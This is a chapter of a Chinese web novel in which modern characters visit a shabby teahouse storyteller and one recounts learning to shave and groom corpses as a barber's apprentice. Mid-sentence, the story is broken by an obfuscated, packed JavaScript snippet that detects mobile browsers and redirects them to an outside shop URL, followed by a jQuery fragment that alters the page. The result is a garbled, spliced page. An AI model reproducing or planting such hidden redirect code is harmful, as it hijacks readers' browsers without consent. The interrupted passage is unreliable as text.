三人路过了一个华丽红漆碧瓦的茶楼……


    又路过了一个人声鼎沸的茶楼……


    最后停在一处街角的老旧茶楼门口，二层的门匾已经无法得知它的名字，只有最尾的“茗”字隐隐可见。


    赵元青把挑子抬进去，坐在角落招呼他们落座，笑容殷勤地去主动找店家点茶，王盼璋经过一番思想挣扎后，也起身跟了上去，推到她手中一角银子。


    她大概看出来了，这姐没钱，不然第一个茶楼她就不会加快速度走过去。


    但赵元青没用。


    他也不是不想用，就……手中的银子，刚好。


    没用上。


    茶很快上来了，不是新摘的嫩芽，是陈年的老茶梗，在粗陶壶里沉沉浮浮，颜色深褐。点心是两小碟炒得发硬的南瓜子，还有一碟茴香豆。


    王乐乐盯着那茴香豆喃喃：“茴字的四种写法……”


    这巧了，赵元青还真研究过，她也看过，立刻倒了些老茶水给她演示，“我知道，我来写。”


    “己，目，草头，面……”吴宇撑着下巴阅读。


    她瞪他一眼，“都叫茴！是异体字！”


    他不耐撇嘴，“这破茶楼，都没人。”


    赵元青给他们各倒了一碗茶，她给自己也倒了一杯，茶水浑浊，带着一股难以言喻的霉气，她倒没什么关系，喝啥不是喝？


    王盼璋小口啜着茶，眼神在破败的茶楼里逡巡。这茶楼一层也是“回”字形，中间的“口”中放了个高台，也不知干什么用的。


    二楼栏杆朽了，只有底楼稀稀拉拉坐着几个茶客，大多是些穿着短打的苦力，面容透过来一种模糊的疲惫，沉默地啜着粗茶，空气里弥漫着劣质烟草和陈年木头的味道，与之前路过的那两家茶楼的喧嚣富贵判若云泥。


    那倚着柜台打盹的小二取了锣走到门口。


    “哐！哐！哐！”三声震耳欲聋的锣响


    他扯开嗓子热情喊道：“来啊！来啊！来啊！诸位客官听真喽——！”


    “开书喽——！温先生开讲新篇《铁血残阳录》！刀光剑影，侠骨柔肠，沙场点兵，英雄末路！走过路过，莫要错过这场好戏啊——！”


    破锣嗓子配上那震得人心颤的锣声，终于起了点效果。有些闲汉和赶集想歇脚的被吸引，探头探脑地望了望这破旧门脸，犹豫片刻，便三三两两地踱了进来，寻了空位坐下，大多只点了高末粗茶。茶楼里总算添了几分人气，


    屏风后面的温常明等小二来唤，捋了捋本来就平整的大褂衣襟，带着惊堂木和折扇走入茶楼中央早已备好的一张略显破旧条案。


    案上一壶粗茶，一只茶杯静静摆放。


    王盼璋这才知道，原来这回字中的口，是给说书人用的。


    “啪——！”


    一声脆响，清越激越，瞬间压下了所有细微的嘈杂！


    只见一方油亮乌沉、棱角分明的惊堂木，被他稳稳地拍在条案之上！那声音不大，却仿佛带着千钧之力，震得人心头一凛，连角落里打盹的苦力都下意识地抬了抬头。


    惊堂木余音未绝，温常明左手又是一翻，一柄素面竹骨、略显陈旧的折扇唰地一声，在他手中利落展开。


    他这才微微颔首，清越而沉稳的声音，如同玉石相击，清晰地传遍茶楼每一个角落：


    “列位看官，稍安勿躁。今日，在下温载，便为诸位分说一段，那铁血染就、残阳如泣的——《铁血残阳录》！”


    说书如画卷徐徐铺开，赵元青轻轻推了推王盼璋，“他……他叫温载吗？”


    “温常明吧？”吴宇接话。


    王盼璋也回神，她灌了口茶，“吴宇，你拜师了吗？”


    “当然，回去就拜了。我师父还给我买了只鸡吃，就是我这行……”吴宇又阴下脸。


    赵元青觉得他墨迹，“你到底怎么回事啊？”


    “你怎么不说？”吴宇白她一眼。


    “我没什么可说的啊，也还没拜师呢，把我领走那家伙，今天要打死我，然后我把他挂树上跑了。”


    王盼璋屈辱一笑，“我也没拜师，拜不成。”


    吴宇心中自信大增，他竟是唯一一个有师父的人吗？因此说话也直白起来，他看向王盼璋道：


    “唉，也不是我不跟你说，你小姑娘家家听这种事不好。我这行……下九流里的最末端。”


    “昨天……”


    吴宇露出幻痛的表情，眼神飘向茶楼破旧的屋顶，


    ——


    吴宇的师父也姓吴，叫吴老三，是诨号，他算是绕着县城十里八乡数一数二的剃头匠。剃头这行，说白了干的是伺候人的活计，三教九流都得打交道，挣的是辛苦钱，还得看人脸色。


    吴老三把小鸡子似的吴宇从领回去后，没多废话，直接把他带到自家那间低矮、混杂着皂角水和汗味的小屋里。


    屋里光线昏暗，正对着门的土墙上贴着一张颜色发暗、纸边卷曲的画。


    画上是一位道士模样的老者，面容清癯，长须飘飘，手持一柄样式奇特的刀具。这就是他们这一行供奉的祖师爷——罗公。


    吴老三在他面前摆了个缺角的粗陶碗，碗里盛着半碗清水。他又从怀里摸出几个铜板放进水里。铜钱沉底，发出轻微的叮当声。


    “今儿个，你就拜了罗公祖师爷。”吴老三点了三支劣质的线香，插在画像前一个破瓦罐里。烟雾袅袅升起，带着刺鼻的味道。“祖师爷传下这吃饭的手艺，剃头刮脸，修面篦头，伺候人的活计。入了这行，就得守这行的规矩。”


    吴老三自己也跪了下来，对着画像恭恭敬敬地磕了三个头。他磕得很实诚，额头碰在泥地上砰砰作响。磕完头他直起身，指着水碗里的铜钱对吴宇说：“看见没？祖师爷赏饭吃。这水是净水；这钱是买路钱。入了行，就是祖师爷座下的人，往后挣的每一文钱，都得先敬祖师爷一份香火情。”


    “记住喽，咱这行是下九流里的最末端！伺候人就得有伺候人的样子！甭管是达官贵人还是贩夫走卒，进了你的挑子就是你的主顾！手要稳，眼要准，嘴要甜，心要定！打不还手，骂不还口！受了委屈，咽下去！这是规矩！”


    吴宇现实里不过是他们县城里杀特理发行的洗头仔，最多帮人修修发尾啥的，本来也是抱着能拜师学艺的态度来的，因此也就结结实实跟着磕了三个头。


    吴老三满意了，扶他起身，把走路上买的烧鸡供上去，又拿了个褡裢给他。


    “走，去干活。”


    吴宇接过后满肚子疑问却又不敢问，只默不作声地随吴老三走出屋子，看他又抬起挑子走到一处停尸房。


    吴老三熟门熟路地推开了那扇木门。里面光线昏暗，空气冰冷滞涩，靠墙的地方铺着几张草席，上面躺着几具用白布盖着的身体，形状僵硬。


    一个须发灰白、穿着洗得发白的古代衙门差役服饰的老者，正慢悠悠地坐在角落的小马扎上，就着一碟花生米，小口啜着粗瓷碗里的浊酒。听见动静，他抬了抬眼皮，浑浊的目光扫过吴老三和吴宇，没说话，只是用下巴朝最里面的一张草席努了努。


    吴老三点点头，放下挑子，走到那张草席前，动作熟练地掀开了盖着的白布一角，露出一个花白头发、面容枯槁灰败的头颅。死者


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263461|191876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    双目紧闭，嘴唇微张，皮肤呈现出一种毫无生气的蜡黄。


    “来。”吴老三招呼吴宇，声音平静得没有一丝波澜，仿佛他面前的不是一具尸体，而是一个等着理发的寻常主顾。


    吴宇只觉得一股寒气从脚底板直冲天灵盖，胃里一阵翻江倒海。他在发廊洗头最多见过客人打瞌睡流口水。哪见过这个？


    他几乎是蹭过去的。


    吴老三从褡裢里拿出剃刀、梳子、篦子，又从那挑子另一头的小铜锅里舀了点温水，浸湿一块粗布。他动作麻利地开始给那死者的头部做清洁，温水擦过冰冷僵硬的皮肤，发出细微的摩擦声。


    “看清楚。”吴老三头也不抬地说，“给死人拾掇比活人讲究。力道要更轻手要更稳。他们不会喊疼，也不会动，但你下刀的地方歪了，或者留了碎头发茬子，那就是对逝者不敬，回头一准找你。”


    他擦完后开始脱死者的衣服，依旧是擦拭。


    擦拭完去了剃刀递给吴宇，“去，刮净他身上的毛发，排泄物也要清理，安静，轻声。”


    吴宇拿着剃刀的手在抖。


    他一咬牙，狠狠甩了自己一巴掌。


    手艺！


    他是肯定要学手艺的，别说给死人刮毛，亲死人他都愿意！大师傅们都敝帚自珍，他烟也送了，酒也给了，不时也给了孝敬，可没人教他。


    只要吴老三能传他手艺，他干！


    “师父，”吴宇的声音压得极低，带着一种强行压抑的平静和一丝不易察觉的颤抖，脸部的肌肉因为刚才那巴掌和此刻的极度克制而不停地抽搐，“从……从脸开始，还是先从脚？”他问得极其认真，像一个即将进行神圣仪式的学徒。


    吴老三眼睛里划过一丝满意。


    “先从脸开始。”


    “人死脸先僵，趁还没完全硬透，好下刀。记住了，刮脸要顺着肌理，刀走轻灵，手腕要活，刀刃贴皮走，不能压，也不能飘。尤其是眼角、嘴角、鼻孔这些地方，最要小心，别刮破了皮相。”


    他一边低声讲解一边用眼神示意吴宇动手的位置。


    冰凉的刀锋，冰冷的皮肤。死亡的触感通过刀柄清晰地传递过来。他的手腕因为用力过猛而僵硬，但依然死死盯着刀锋的走向，他能做到！


    极其轻微的一声，刀锋刮下了第一缕灰白的胡茬。


    吴老三手里也干着活呢，他负责给死人化妆，梳发，让人走的体面些。时不时低声指点：“手腕松点……对，就这样……靠手腕带，别用胳膊……这里毛根硬……”


    时间在阴冷的停尸房里缓慢流逝。


    刮到下面的毛发时吴宇已经不怕了，他只专注于手中的剃刀和师父的指令，很快，第一具尸体处理完后，吴老三用白布重新盖上，他唤吴宇站到他身旁，低声嘱咐他：“跟我一起念。”


    “金刀过处尘缘净，玉梳理顺生前事。”


    念完吴老三对着白布覆盖的遗体，极其郑重地、深深地作了一揖。


    吴宇也连忙学着师父的样子，躬身行礼。


    但在瞧见第二具尸体是个三十来岁女人时，吴宇的天塌了。


    好在吴老三没让他动手，只要了碗水，水里放了根筷子，低声喃喃道：“您莫怪，我……也几年可活了，临了才找了个徒弟，我们这行……男人女人他都得学，您若是同意他看，就让筷子竖着，若是不同意，便让筷子倒向一旁。”


    他说完手中放开筷子。


    那筷子直挺挺地竖着。


    吴宇不禁张大了嘴巴。


    但更令人惊讶的事情出现了，吴老三取了块白布，把他自己眼睛罩上了！